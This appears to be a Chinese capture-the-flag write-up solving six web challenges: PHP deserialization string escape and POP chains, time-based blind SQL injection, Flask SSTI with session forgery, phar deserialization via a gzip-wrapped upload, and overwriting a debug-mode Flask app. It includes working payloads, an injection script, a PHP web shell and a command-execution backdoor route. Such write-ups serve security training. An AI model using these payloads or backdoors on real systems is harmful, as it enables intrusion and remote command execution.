目录
①逃
②More Fast
③midsql
④InjectMe
⑤PharOne
⑥flask disk
①逃
一眼字符串逃逸
bad 替换为 good 字符增加一位
先构造一下试试
<?php
class GetFlag {public $key;public $cmd = "ls /";}
$a = new GetFlag();
echo serialize($a);
得到O:7:"GetFlag":2:{s:3:"key";N;s:3:"cmd";s:4:"ls /";}
需要逃逸”;s:3:"cmd";s:4:"ls /";}
O:7:"GetFlag":2:{s:3:"key";N;s:3:"cmd";s:4:"ls /";}
共24个字符 这样我们只需要写24个bad就行
payload:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}
②More Fast
<?php
highlight_file(__FILE__);class Start{public $errMsg;public function __destruct() {die($this->errMsg);}
}class Pwn{public $obj;public function __invoke(){$this->obj->evil();}public function evil() {phpinfo();}
}class Reverse{public $func;public function __get($var) {($this->func)();}
}class Web{public $func;public $var;public function evil() {if(!preg_match("/flag/i",$this->var)){($this->func)($this->var);}else{echo "Not Flag";}}
}class Crypto{public $obj;public function __toString() {$wel = $this->obj->good;return "NewStar";}
}class Misc{public function evil() {echo "good job but nothing";}
}$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
手搓链子
Start::__destruct -> Crypto::__toString -> Reverse::__get -> Pwn::__invoke -> Web.evil()
构造一下
<?php
class Start{public $errMsg;public function __destruct() {die($this->errMsg);}
}class Pwn{public $obj;public function __invoke(){$this->obj->evil();}public function evil() {phpinfo();}
}class Reverse{public $func;public function __get($var) {($this->func)();}
}class Web{public $func;public $var;public function evil() {if(!preg_match("/flag/i",$this->var)){($this->func)($this->var);}else{echo "Not Flag";}}
}class Crypto{public $obj;public function __toString() {$wel = $this->obj->good;return "NewStar";}
}class Misc{public function evil() {echo "good job but nothing";}
}$a=new Start();
$b=new Crypto();
$c=new Reverse();
$d=new Pwn();
$e=new Web();
$a->errMsg=$b;
$b->obj=$c;
$c->func=$d;
$d->obj=$e;
$e->func="system";
$e->var="tac /f*";
echo serialize($a);
最终payload:
fast=O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"tac /f*";}}}}
(删去最后一个括号,可以快速触发desrtuct,可以绕过throw异常)
或者
fast=O:5:"Start":3:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}
(修改序列化元素个数,可以快速触发desrtuct,可以绕过throw异常)
③midsql
过滤了空格,其他没有过滤,页面没有回显,时间盲注
直接贴个脚本
import requests# from tqdm import trange
res = ''
last = ' '
headers = {'Host': '93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/','Cache-Control': 'max-age=0','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Referer': 'http://93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.9'
}
for i in range(1, 1000):for j in range(127, 31, -1):url = r'http://93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/?id='# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{j}),sleep(3),0)' # information_schema,mysql,performance_schema,sys,test,ctf# payload = rf'1/**/and/**/if((ascii(substr((select/**/database()),{i},1))>{j}),sleep(3),0)'# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"ctf"),{i},1))>{j}),sleep(3),0)'# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"items"),{i},1))>{j}),sleep(3),0)' # id,name,price# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(id,0x3a,name,0x3a,price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(name)/**/from/**/ctf.items),{i},1))>{j}),sleep(4),0)'url = url + payload# print(url)try:response = requests.get(url=url, timeout=4)except Exception as e:last = res# print(chr(j+1))res += chr(j + 1)# print(res)breakprint('[*] ' + res)
④InjectMe
进来随便信息搜集一下看到一个路由的图
访问/download?file=/app/app.py
import os
import refrom flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_keyapp = Flask(__name__)
app.secret_key = secret_key@app.route('/')
def hello_world(): # put application's code herereturn render_template('index.html')@app.route("/cancanneed", methods=["GET"])
def cancanneed():all_filename = os.listdir('./static/img/')filename = request.args.get('file', '')if filename:return render_template('img.html', filename=filename, all_filename=all_filename)else:return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"@app.route("/download", methods=["GET"])
def download():filename = request.args.get('file', '')if filename:filename = filename.replace('../', '')filename = os.path.join('static/img/', filename)print(filename)if (os.path.exists(filename)) and ("start" not in filename):return send_file(filename)else:abort(500)else:abort(404)@app.route('/backdoor', methods=["GET"])
def backdoor():try:print(session.get("user"))if session.get("user") is None:session['user'] = "guest"name = session.get("user")if re.findall(r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',name):abort(500)else:return render_template_string('竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)except Exception:abort(500)@app.errorhandler(404)
def page_not_find(e):return render_template('404.html'), 404@app.errorhandler(500)
def internal_server_error(e):return render_template('500.html'), 500if __name__ == '__main__':app.run('0.0.0.0', port=8080)
from config import secret_key告诉了我们密钥的路径
访问/download?file=/app/config.py
得到secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
绕SSTI黑名单
session伪造
/backdoor拿flag
⑤PharOne
初始界面有个文件上传功能
查看源码发现提示class.php
访问/class.php
一眼phar反序列化
构造
<?php
class Flag{public $cmd;public function __construct() {$this->cmd = "echo '<?=system(\$_POST[1]);?>'>/var/www/html/1.php";}
}
$a = new Flag();
$phar = new Phar('A.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','test'); //添加压缩文件
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //如果有文件投检测可以加上文件头
$phar->setMetadata($a);
//自动计算签名
$phar->stopBuffering();
?>
上传文件处有正则,同时限制文件后缀
!preg_match("/__HALT_COMPILER/i",FILE_CONTENTS)
用gzip绕过
import gzipwith open('A.phar', 'rb') as file:f = file.read()newf = gzip.compress(f) #对Phar文件进行gzip压缩
with open('aa.png', 'wb') as file:#更改文件后缀file.write(newf)
上传aa.png
在class.php触发phar反序列化
file=phar:///var/www/html/upload/321532365639f31b3b9f8ea8be0c6be2.png
成功写入1.php,访问,rce拿到flag
⑥flask disk
分别访问三个页面
访问admin manage发现要输入pin码,说明flask开启了debug模式。flask开启了debug模式下,app.py源文件被修改后会立刻加载。所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了
from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index(): try: cmd = request.args.get('cmd') data = os.popen(cmd).read() return data except: pass return "1"
if __name__=='__main__': app.run(host='0.0.0.0',port=5000,debug=True)
上传app.py即可
/?cmd=cat /flag